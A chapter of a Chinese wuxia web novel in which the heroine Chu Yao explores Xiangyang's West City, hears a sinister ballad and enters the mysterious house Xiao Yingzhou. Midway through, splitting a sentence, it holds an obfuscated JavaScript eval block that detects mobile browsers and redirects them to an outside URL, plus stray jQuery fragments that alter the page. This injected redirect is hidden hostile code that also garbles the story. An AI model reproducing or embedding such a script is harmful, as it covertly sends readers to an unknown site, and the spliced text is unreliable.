江湖超不好混的，个个都是人精。


    褚遥朝着西城方向，一步步走进灯彩辉煌的暮色里。听起来是龙蛇混杂的下城区，但西城似乎没有宵禁，时不时有马车或骑着驴子的行客匆匆踏过石板路，留下一串铛铛铛的铜铃声。


    街道宽阔，市集喧嚣，正是酒馆歌楼、勾栏瓦子上客的时辰。从二三楼悬下的朱红灯招上写着酒楼字号，丝竹管弦之音从暗暗流动的汉江对面送来。


    正如那赶车的荀大哥所言，西城是一处繁华中处处透着危机的妙地。腰间挎九环刀的敞襟大汉，衣着五彩、胸挂银饰的苗疆女子，华服宝剑、环绕美婢的少年剑客，拉帮结伙、臂纹青蓝的街头混混，毫不避讳地出入街市之中。


    褚遥摸了摸咕噜噜叫唤的肚子，找了家路边摊档坐下：“店家，一碗烩面，一份羊杂汤！”


    “好嘞，客官，共30文！”


    喝着热腾腾的羊杂汤，褚遥眼观六路，努力从周围食客和路人口中捕捉有用的讯息：


    “嘿嘿，花月楼的娘们儿可真带劲……”


    “北边要乱了，不如往江南去吧……”


    “安抚使吕大人似乎不喜欢郭大侠，毕竟是草莽出身……”


    襄阳，郭大侠。褚遥吸溜面条的速度慢了下来，心跳有些加速。这既视感……


    “小子，还不快滚！这可不是你该待的地儿！”前头路口突然传来嚣张的喝骂声，随即是一个瘦弱的年轻人被人踹倒在尘土飞扬的路面上。看打扮，倒像个书生，但那身长衫破烂不堪，人也面黄肌瘦，不知多久没吃饱饭。


    打人的是个标准的地痞，手里还拿着个破碗。他一脚踏在年轻人肩上，将倒地的年轻人翻了个儿，狞笑着将那破碗中混浊的黄液倒在年轻人脸上。从周围人掩鼻的动作推断出那是什么后，褚遥突然没了胃口。


    地痞哈哈一笑，将破碗扔地上，声音更加高亢，仿佛是说给旁边的路人听：“好叫你知道，便是讨饭，也得守规矩拜码头，白虎街这片可是我们义字舵的地盘，再瞧见你在这里讨饭，看我不打断你的狗腿！呸！”


    地痞扬长而去，年轻人匍匐在地上，挣扎半晌，才爬起来，拾着那破碗，在路人嫌恶躲避的目光中佝偻着，往夜色深处踉跄而去。


    “唉，有手有脚，怎么沦落到这步田地？有辱斯文呐！”烩面摊对面的酒楼上，摇着折扇、揽着美姬的年轻公子哥儿立在窗口，想来是将这场骚乱看入眼中，不禁叹气。


    那盛装美姬闻言，却掩唇娇笑：“公子何必为不相干的人伤怀？您只当他可怜，却不晓得他怎么落入这步田地呢。”


    “蕊香姑娘莫非认识那人？”


    褚遥搅了搅面条，终于搁下了筷子。耳聪目明的好处这□□现出来了，对面楼上的交谈声，只要凝神去听，竟也能听得大差不差：


    “别瞧那人落魄，当年也是卧柳眠花的潇洒公子，”蕊香神色悠悠，却将一只小酒杯捧到那公子口边，眼波流转，“只是他交友不淑，被人带进小瀛洲，恋上里头一位姑娘。”


    公子好奇地挑眉：“小瀛洲我也知道，那花魁娘子的确颇有姿色。所以，那小子是为了美人儿才散尽千金，落到这步田地？”他就着蕊香的手饮下酒水，神态间颇为不屑。


    褚遥抬头，华灯映照间，她只能瞧见对面楼上丽人的半张脸。那半张脸上挂着神秘的微笑，突然压低了嗓音，褚遥再怎么努力也听不到后面的词句。但从那公子突然变化的神态来看，对方一定是透露了什么出人意料的信息。


    小瀛洲，听着似乎是什么烟花之地，但绝不会这么简单。褚遥慢条斯理地吃完面条，手放到桌下，取出一柄平平无奇的铁剑，仿佛她之前一直将剑藏在衣服下。


    让系统兑出30文铜板放在桌上，又单独取出一块碎银子，褚遥招来老板：“店家，跟你打听一个消息。”她将碎银抛入老板掌心，“你可知道，小瀛洲往哪边走？”


    店家捏住碎银子，目光熟练地在褚遥握剑的手上扫过，脸上笑出一朵菊花：“客官，沿这条白虎街径直往西，在第二个路口向北，临水一排都是顶热闹的去处，那小瀛洲就在其中，门脸山花上画一只巨鳌的就是。”


    “谢了。”褚遥起身，却被那店家叫住：“客官，小老儿多句嘴，您这样的，不是去小瀛洲寻快活的吧？”


    “哦？我不像么？”褚遥看了看店家，突然露出一个明快的笑脸，“老丈，您在街头，见多识广，可有什么能教小生的？”说着十分自然地又塞了一块更大点的碎银给那店家。


    那小老头收了银子，反而收了过于热情的笑容，一边在油腻围布上擦手，一边压低了嗓门：“客人是少年英雄，眼明心亮，小老儿只说些初来乍到的人不晓得的掌故。”


    “如今城里这样热闹，依小老儿看，可分成三股势力。一是奔着郭大侠的名头，自发投奔来打北地蛮子的江湖义士；二是本地帮派扩张，胡乱招徕的各路浑人；三么，只说一个地名：小瀛洲。”


    “客人既打听小瀛洲，又不像去耍乐，便是有人指路了。”老丈摇摇头，“那地方，邪性。私下有首歌谣，小老儿说一遍，客人听听就罢。”


    “小瀛洲，换命台，有缘不论斤两卖。能人托身福地坐，庸才骨头阎王拆。”


    老丈复述完，脸上又挂起市侩的笑脸，去招徕路过的客人。褚遥站在原地良久，将那歌谣反复念叨了几遍，眼皮一抬，眸中闪动锐利的锋芒。


    “有点意思。”她看看貌不惊人的摆摊老丈，目光在摊档边一沓裁切好的旧纸上掠过，唇角带了点笑：“老丈，切二斤卤肉带走。”


    提着包好的冷切卤羊肉，褚遥没有直接去小瀛洲，而是先逛进一家成衣店。再出来时，她换了身不起眼的灰蓝色圆领袍衫，又买了两身换洗衣物，将金狮武馆里穿出来的行头打包了，走几步，送进一家当铺。


    “真黑，我这衣服还新着呢！”褚遥愤愤然将回收的碎银揣进兜里，提着卤肉包，又左顾右瞧地逛起了街。大概这些日子来襄阳的生面孔着实不少，她这副乡


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197047|193502||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    巴佬进城的样子，并没有招来过多目光，反而有不少客店向她兜售生意：


    “干净床铺，免费热水来！少侠可要打尖住店？”


    “少侠，本店包饭，正宗襄阳美食！来咱们福满楼呀！”


    褚遥琢磨着，这么多江湖人，不能个个都有过所吧？于是站在一家客栈前问：“小二，没带过所，可能住店？”


    小二应对得极熟练：“少侠，没带过所不妨事，不知师承何处，可有门派符牌？或可有本地担保人？”


    褚遥被问得满脸尴尬。小二察言观色，脸上挤出更热情的笑容，声音却低了些：“少侠若实在不便，可交一笔押金，先住下休息，后面补上登记就行。”


    褚遥心动了，也压低了声音：“不知押金几何？”


    “不贵不贵，纹银二十两！”


    “二十两？！”褚遥倒抽一口气，果断转身。这价格都够她租个房子了，怎么，她脸上写着“冤大头”吗？


    没工作，没身份，每一分钱都得省着花。褚遥走了几步，又转回来，脸上堆了热情的笑容：“贵店还招人吗？”


    “混蛋滚蛋！”小二一看褚遥这副穷酸样，立马收了热情，连推带搡地把褚遥赶回大街上，“咱们这可不缺人！”


    褚遥叹气，晃晃悠悠地走过两个路口，往西城最最热闹的花街走去。彩旗招展，歌喉入云，有香车宝马载着王孙美人离去，就有穷困潦倒的酒蒙子被人从歌楼内丢出来。褚遥绕过一摊呕吐物，目光从一张张迷幻沉醉的脸上移动，感到难言的荒谬。


    这里完全没有快打仗的紧迫感，又或许，真正忧国忧民的抵抗军不会来此处醉生梦死。这里就是游戏的第二个关卡？她要在这里扮演什么角色？


    不管要做什么，先找个落脚点总是第一位的。用《江湖速报》包食物、主动透露信息的摊贩，或许是某个引导型NPC，那他说的话绝不会是无的放矢。小瀛洲是危险的，但对“有缘人”来说，会是个托身的福地。


    小瀛洲确实不难找，它实在太显眼了：和其他花楼的热闹喧腾相比，小瀛洲过于安静。它地段中庸，客流寥寥，侧门停歇的却都是极华丽宽敞的乘具。明亮的灯光透过楼上窗纸，偶尔映出几道曼妙的身影。


    大门不对着街口，反而隐在幽深的巷道中。山花上果然是一只驮着山石的巨鳌。雅致的柚木大门虚掩着，门檐下悬着一对无骨风灯，香烛燃烧间，有馥郁的香气悠悠抵达鼻端。


    褚遥叩动古意盎然的门环，静等了半刻，有青衫小帽的半大童子来开门。他上下打量褚遥，见了她腰间的剑并不害怕，也并不因她衣着寒素就表露不敬：


    “客人贵姓？可有预约？”


    “我姓……褚。并无预约。”褚遥摩挲剑柄，神色平静，“我弄丢了过所，金钱帮的荀老大说，小瀛洲可以留我。”


    “原是荀大哥介绍来的，褚少侠快请进，”童子侧身退开一步，微微躬身，露出身后的通道，“请跟我来，容小子为少侠讲讲这小瀛洲的规矩。”